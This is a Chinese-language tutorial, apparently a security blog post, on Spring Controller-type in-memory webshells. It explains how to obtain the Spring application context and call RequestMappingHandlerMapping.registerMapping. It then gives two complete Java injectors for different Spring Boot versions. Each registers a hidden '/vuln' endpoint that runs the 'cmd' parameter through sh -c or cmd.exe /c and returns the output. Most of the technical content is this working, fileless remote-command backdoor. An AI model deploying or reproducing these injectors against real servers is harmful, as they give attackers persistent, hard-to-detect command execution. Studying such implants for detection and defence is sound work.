Spring MemoryShell Of Controller

前言

Spring是一个开源容器框架,其核心就是控制反转(IOC)和面向切面(AOP)。Spring作为Java框架,核心组件为Core、Context和Bean,使用Spring的主要一个原因就是Spring会把对象之间的依赖关系转而用配置文件来管理,也就是依赖注入机制。

  • Bean组件:Bean是Spring核心中的重点,Bean组件在Spring的org.springframework.beans包下,在这个包下的所有类主要解决了3件事,Bean的定义、创建及解析。
  • Context组件:Context又叫IOC容器,Context组件在Spring的org.springframework.context包下,给Spring提供一个运行时的环境,用于保存各个对象的状态。
  • Core组件:Core为处理对象间关系的方法,作为Spring的核心组件,其中包含了很多关键类,例如,定义资源的访问方式。

SpringMVC是一种WEB层MVC框架,用于替代Servlet。在SpringMVC框架中,DispatcherServlet负责分发请求到控制器Controller进行处理,Controller则把用户的请求数据经过业务层处理后封装成一个ModelAndView对象,然后再把该对象返回给对应的View进行展示。在SpringMVC中定义一个Controller是非常简单的,不需要继承特定的类,也不需要实现相关接口,只需使用@Controller注解在一个类上进行标记即可。然后使用@RequestMapping等一些注解用定义URL请求和映射,这样Controller就能被访问。

而Spring内存马一般的构造方式就是模拟组件注册,从而来注入恶意组件,Spring Controller型内存马就是通过动态注册Controller来实现的。

环境搭建

新建Spring项目,设置Server URL为https://start.aliyun.com/。

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.example.springmemoryshell.demos.web;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class TestController {
@ResponseBody
@RequestMapping("/")
public String index() {
return "Hello Contoller...";
}
}

过程分析

注册Context

在之前分析Tomcat型内存马和中间件型内存马时,要成功打入内存马,一个很重要的点就是先获取当前运行环境的上下文,在Spring应用中可以同时有多个Context,但其中只有一个Root Context,其余的均为Child Context,所有Child Context都可以访问在Root Context中定义的Bean,但是Root Context无法访问Child Context中定义的Bean,并且所有的Context在创建后,都会被作为一个属性添加到了ServletContext中。

Root Context

  • ContextLoader#getCurrentWebApplicationContext方法,Root Context是由ContextLoaderListener触发监听后ContextLoader所创建,因此,ContextLoader类中也相应的获取方法,即getCurrentWebApplicationContext方法。

image.png

  • WebApplicationContextUtils#getWebApplicationContext方法,由于所有的Context在创建后,都会被作为一个属性添加到了ServletContext中,因此,可以借助servletContext来获取Root Context。

image.png

  • ApplicationContext#getAttribute,ApplicationContext实现了ServletContext接口,getAttribute方法通过传入名称来获取上下文。

image.png

Child Context

  • RequestContextUtils#getWebApplicationContext:,在request中存放着Child Context,因此可以借助request来获取Child Context,但是在较新Spring版本中已没有getWebApplicationContext方法。
  • Request#getAttribute,同样是借助request来获取Child Context,不过这里利用的是getAttribute方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Root WebApplicationContext
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

// Root WebApplicationContext
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

// Child WebApplicationContext
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

// Child WebApplicationContext
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

// Child WebApplicationContext
java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
filed.setAccessible(true);
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();

注册Controller

  • Spring 2.5开始到Spring 3.1之前一般使用org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping映射器
  • Spring 3.1开始及以后一般开始使用新的org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping映射器来支持@Contoller和@RequestMapping注解

在org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping中存在方法registerMapping,其会调用父类的registerMapping方法,然后调用register方法完成注册。

image.png

image.png

image.png

注册流程

在registerMapping方法中存在三个参数,分别为handler、method和mapping。

  • handler:需要构造的controller对应的类
  • method:需要注册的controller中的方法
  • mapping:RequestMappingInfo类型的,设置Controller的一些请求参数的,若没有特殊要求全填null即可
    java
    // handler
    InjectToController injectToController = new InjectToController();
    // method
    Method method = InjectToController.class.getMethod(“vuln”);
    // mapping
    RequestMappingInfo info = new RequestMappingInfo(null, null, null, null, null, null, null);

应用

思路

动态注册Spring Controller内存马的具体思路如下:

  • 获取Context
  • 获取RequestMappingHandlerMapping
  • 获取MappingRegistry属性
  • 构造RequestMappingInf
  • 调用MappingRegistry#register方法注册Controller

动态注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
package com.example.springmemoryshell.demos.web;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Scanner;

@Controller
/**
* 适用于Springboot < 2.6.0环境, 从Springboot 2.6.0版本开始, 官方修改了url路径的默认匹配策略
* 需要通过application.properties配置文件设置spring.mvc.pathmatch.matching-strategy的值为ant_path_matcher
*/
public class SpringControllerMemShell1 {
@ResponseBody
@RequestMapping(value = "/inject", method = RequestMethod.GET)
public void TestController() throws Exception {
// 获取上下文环境
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 通过上下文获取RequestMappingHandlerMapping
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 获取恶意类的恶意方法
Method vulnMethod = VulnController.class.getMethod("cmd");
// 定义访问恶意Controller的url
PatternsRequestCondition url = new PatternsRequestCondition("/vuln");
// 定义允许访问恶意controller的HTTP请求方法(GET/POST)
RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
// 动态注册Controller
RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null);
VulnController vulnController = new VulnController();
mappingHandlerMapping.registerMapping(info, vulnController, vulnMethod);
}

@ResponseBody
public class VulnController {
public VulnController() {
}

public void cmd() throws Exception {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}

String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
}
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package com.example.springmemoryshell.demos.web;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;

@Controller
/**
* 适用于SpringMVC+Tomcat的环境,以及Springboot 2.6+环境
*/
public class SpringControllerMemShell2 {
@ResponseBody
@RequestMapping(value = "/inject2", method = RequestMethod.GET)
public void SpringControllerMemShell2() {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method vulnMethod = VulnController2.class.getMethod("exp");
RequestMappingInfo info = RequestMappingInfo.paths("/vuln")
.options(config)
.build();
VulnController2 vulnController = new VulnController2();
mappingHandlerMapping.registerMapping(info, vulnController, vulnMethod);
} catch (Exception e) {
e.printStackTrace();
}
}

@ResponseBody
public class VulnController2 {
public VulnController2() {
}

public void exp() throws Exception {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}

String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
}
}
}
}

image.png